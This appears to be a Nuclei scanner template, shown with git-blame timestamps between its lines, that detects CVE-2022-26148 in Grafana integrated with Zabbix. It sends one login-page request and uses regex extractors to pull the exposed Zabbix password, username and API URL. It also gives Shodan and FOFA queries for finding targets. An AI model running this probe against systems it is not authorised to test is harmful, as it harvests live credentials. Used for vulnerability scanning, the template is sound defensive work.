2022-03-30 08:19:34 +00:00
id : CVE-2022-26148
info :
2022-06-25 07:14:58 +00:00
name : Grafana & Zabbix Integration - Credentials Disclosure
2022-03-30 08:19:34 +00:00
author : Geekby
severity : critical
2022-05-20 21:38:52 +00:00
description : |
Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
2022-03-30 08:19:34 +00:00
reference :
- https://2k8.org/post-319.html
2022-05-17 09:18:12 +00:00
- https://security.netapp.com/advisory/ntap-20220425-0005/
2022-05-20 21:38:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-26148
2022-03-30 08:19:34 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-26148
2023-07-11 19:49:27 +00:00
cwe-id : CWE-312
epss-score : 0.12526
cpe : cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
2022-03-30 08:19:34 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-03-30 08:19:34 +00:00
fofa-query : app="Grafana"
shodan-query : title:"Grafana"
2023-07-11 19:49:27 +00:00
vendor : grafana
product : grafana
2022-05-20 21:38:52 +00:00
tags : cve,cve2022,grafana,zabbix,exposure
2022-03-30 08:19:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-03-30 08:19:34 +00:00
- method : GET
path :
- "{{BaseURL}}/login?redirect=%2F"
matchers-condition : and
matchers :
- type : word
part : body
words :
- '"zabbix":'
- '"zbx":'
- "alexanderzobnin-zabbix-datasource"
condition : or
2023-07-11 19:49:27 +00:00
- type : regex
part : body
regex :
- '"password":"(.*?)"'
- '"username":"(.*?)"'
condition : and
2022-03-30 08:19:34 +00:00
- type : status
status :
- 200
extractors :
- type : regex
group : 1
regex :
- '"password":"(.*?)"'
- '"username":"(.*?)"'
2022-05-20 21:38:52 +00:00
- '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'